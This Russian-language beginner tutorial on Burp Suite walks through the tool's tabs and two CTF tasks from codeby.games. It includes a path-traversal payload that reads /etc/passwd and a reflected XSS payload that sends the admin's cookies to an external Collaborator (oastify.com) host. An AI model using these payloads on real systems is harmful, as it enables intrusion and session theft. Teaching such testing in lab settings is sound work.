Burp Suite для самых маленьких
@fefuctf @collapszВведение
Всем привет! В преддверии приближающегося ивента TQL CTF предлагаю вам ознакомиться с, наверное, главным инструментом любого веб-пентестера – Burp Suite. Разберемся с функционалом как бесплатной Community Edition версии, так и с функционалом Professional. Приятного прочтения!

Знакомство с Burp Suite Community Edition
Это замечательное ПО было разработано английской компанией Portswigger и скачать его можно с их официального сайта.
После установки и запуска нас встречает окно выбора проекта – это необходимо в случае если вы работаете с затяжным проектом и вам необходимо сохранить все запросы, логи и нагрузки, которые использовались в работе. В нашем случае создадим временный проект в памяти и двинемся дальше:

Следующее окно предлагает нам загрузить конфигурацию из внешнего файла, однако мы только знакомимся с данной утилитой и в конфигах не нуждаемся. Тыкаем Start Burp и двигаемся дальше:

И вот перед нами предстал основной интерфейс программы, и встречает нас вкладка Dashboard. На данной вкладке содержится информация о текущих задачах и результаты пассивного и активного сканирования.

Активное и пассивное сканирование – функции Burp Suite Professional, которые в автоматическом режиме проверяют ресурсы из прокси и репитера на популярные уязвимости – LFI, PHP Injection, CMD Injection, SQL Injection и так далее:

Proxy. Перехват и инспекция
Перейдем к вкладке Proxy, ей пользоваться будем гораздо чаще. Прокси располагается как бы между сервером и браузером, и каждый запрос, прежде чем будет отправлен на сервер, будет проходить через "инспекцию" в прокси. За что отвечают кнопки:
Forward & Drop – отправка и отклонение перехваченных пакетов
Action – действия с пакетом
Intercept – включение/выключение перехвата пакетов
Open Browser позволяет открыть встроенный в Burp браузер – Chromium.

Для корректной настройки перехвата пакетов заходим в Proxy Settings и создаем листенер со следующими настройками:

В итоге получаем что-то такое:

В случае, если вы не используете встроенный браузер Burp, необходимо указать прокси в настройках вашего браузера. Покажу на примере Firefox. Переходим в настройки -> настройки сети и добавляем прокси

Для удобства можно использовать расширение Proxy Toggle или Foxy Proxy с аналогичной настройкой, чтобы включать и выключать перехват пакетов можно было по одному клику:

Теперь любая попытка перейти на какую-либо страницу будет перехвачена, теперь мы можем редактировать запрос и управлять его содержимым:

Repeater. Ручное тестирование
Перехватив запрос, можем отправить его в Repeater (правой кнопкой по любому месте в запросе и нажать Send to Repeater). Репитер позволяет нам отправлять запросы, редактировать их, отправлять снова, и одновременно с тем видеть ответ сервера, который он прислал на тот или иной запрос. Именно репитер наиболее часто используется для ручного подбора полезной нагрузки:

Intruder. Автоматизированное сканирование
Аналогичным образом можно отправить запрос в Intruder. Интрудер – встроенная в Burp Suite утилита для автоматизированного тестирования. Он позволяет фаззить директории, брутфорсить учетные данные, заголовки, параметры – короче говоря, позволяет делать автоматически все то, что делать в ручную – долго и нудно. Справедливости ради, скорость работы Интрудера в бесплатной версии BS оставляет желать лучшего =)

- Для работы с Интрудером необходимо перехватить интересующий запрос с, допустим, отправкой данных для авторизации:

2. Далее выделить данные, которые будем фаззить (в данном случае пароль) и отправить запрос в интрудер. Выбрать место для фаззинга можно и в самом интрудере:

3. Находясь в Интрудере, можем выбрать тип атаки, в рамках вводной статьи не будем останавливаться на всех из них, но их краткие описания видны на скриншоте ниже:

4. Подобрать сет нагрузок или загрузить словарь, после чего начать атаку:

5. Ознакомиться с её результатами. Как правило, нас интересуют код и длина ответа, по ним можно судить о результатах атаки:

Collaborator. Ловим отстуки
Burp Suite Professional имеет функцию Collaborator – это веб-сервис, позволяющий нам принимать входящие запросы от сервера и тестировать "слепые" уязвимости. Это такой тип уязвимости, при котором полезная нагрузка отрабатывает (например, вредоносный код выполняется удаленно) но мы не видим результата её работы – ошибок, вывода, задержек.

При помощи Copy to clipboard можно получить ссылку на домен коллаборатора, выглядит она вот так:
Само содержание страницы – строка случайных символов

Но важно здесь не столько содержание, сколько тот факт, что посещение этой веб-страницы кем угодно отражается в самом Коллабораторе:

При помощи этого инструмента, как я уже сказал, можно выявлять Blind уязвимости, тестировать и принимать редиректы от XSS.
Decoder. Без лишних слов :)
Декодер позволяет работать с кодировками – URL, base64, HTML, а так же с хешами, их здесь тоже сполна:

Comparer. Сравнение
Comparer позволяет сравнивать между собой пакеты по словам/байтам. Он подсвечивает разницу, чтобы увидеть её было проще

Logger. Логи да и только

Логгер содержит историю отправленных запросов. Бывает полезно, если закрыли нужный запрос с репитере и нужно снова к нему вернуться.
Это весь весь базовый, но не далеко полный функционал Burp Suite, необходимый для знакомства с этим замечательным инструментом.
Предлагаю ознакомиться со всеми этими инструментами на паре практических задач
Обычная страница. Local File Inclusion
Рассмотрим задачку Regular Page с codeby.games

Заходим на страницу, сразу видим код приложения и можем сделать вывод, что он уязвим к LFI.

О сервер-сайд уязвимостях поговорим подробнее в рамках другой статьи, если в кратце, то:
LFI позволяет нам получить доступ к системным файлам и каталогам путем манипуляции с HTTP-запросом при помощи добавления символов '../' для перемещения на директорию выше
Откроем картинку в новой вкладке, сразу обращаем внимание на путь – /static?file=rikka.gif.

Теперь же включаем прокси в браузере, включаем Intercept в Burp Suite и обновляем страницу:
Proxy

Repeater
Нажав правой кнопкой в любом месте запроса, отправляем его в Repeater:

Вручную заменяем rikka.gif на нагрузку '../../../../etc/passwd' – получаем доступ к файлу /etc/passwd на атакуемой машине.

Intruder
Вернемся на вкладку Proxy, выделим уязвимое место и тыкнем Send to Intruder:

В окне Интрудера видим, что на уязвимую позицию встали маркеры полезной нагрузки:

Загружаем словарь во вкладке Payloads:

Начинаем атаку. Интрудер пройдется по списку, подставит каждое значение из него на место маркеров и отправит получившийся запрос. По длине ответа на него можно сделать выводы о содержимом, о успехе/неудаче в проведении атаки:

Проверив запросы с более длинными ответами, можем увидеть все то же содержимое /etc/passwd:

В контексте LFI стоит сказать, что существует огромное количество словарей для фаззинга файлов, среди которых может быть что-то необычное. Пример такого фаззинга можно найти в статье по разбору комнаты Airplane с THM.
Logger
Ну а Логгер, как я и говорил, содержит всю историю отправленных запросов:

Collaborator. The customer is always right
Работу с Коллаборатором рассмотрим на примере другой задачки с все той же платформы.

На странице задания видим список публикаций

Здесь же видим возможность отправить репорт на публикацию, который потом проверит администратор:

Видно, что репорт целиком реализован через GET-запрос:
http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?publication=ilon-mask
В данном случае мы имеем дело с клиент-сайд уязвимостью – Reflected XSS. О клиент-сайде мы тоже поговорим в другой статье =) Для понимания того, что будет происходить в задании:
XSS – cross-site scripting – атака, позволяющая нам выполнять код на стороне клиента. Наиболее желаемая цель такой атаки – сессионный идентификатор жертвы, проще говоря – сессионная кука (cookie)
Подбираем нагрузку с ресурса Payload All the Things:
<script>document.write('<img src="collaborator.url?c='+document.cookie+'"/>')</script>
Далее копируем домен коллаборатора, в моем случае это:
6elraekzl2cl3epd8euzkj3gu70youcj.oastify.com
Собираем полезную нагрузку:
http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.write('<img src="6elraekzl2cl3epd8euzkj3gu70youcj.oastify.com
?c='+document.cookie+'"/>')</script>
Далее закодируем всю нагрузку в URL при помощи Decoder:

Отправляем админу репорт на домен нашего Коллаборатора с параметром 'c', который принимает значение document.cookie – куки админа.
Проверяем Коллаборатор:

Видим, что прилетел отстук – админ перешел по вредоносной ссылке, а мы получили его куки, проэксплуатировав Reflected XSS и получив результат на домен Коллаборатора.
В качестве бесплатных альтернатив Коллаборатору можно использовать ресурсы webhook и interact
Заключение
Burp Suite – очень мощный инструмент для тестирования на проникновение веб-приложений и его функционал выходит далеко за рамки того, что было представлено в данном материале – работа с расширениями, плагины для более глубокого сканирования, подбора нагрузки и многое, многое другое!
Продемонстрированного здесь функционала будет достаточно для первого знакомства с этой утилитой, а дальше все в ваших руках!

Материалы для практики и самостоятельного изучения: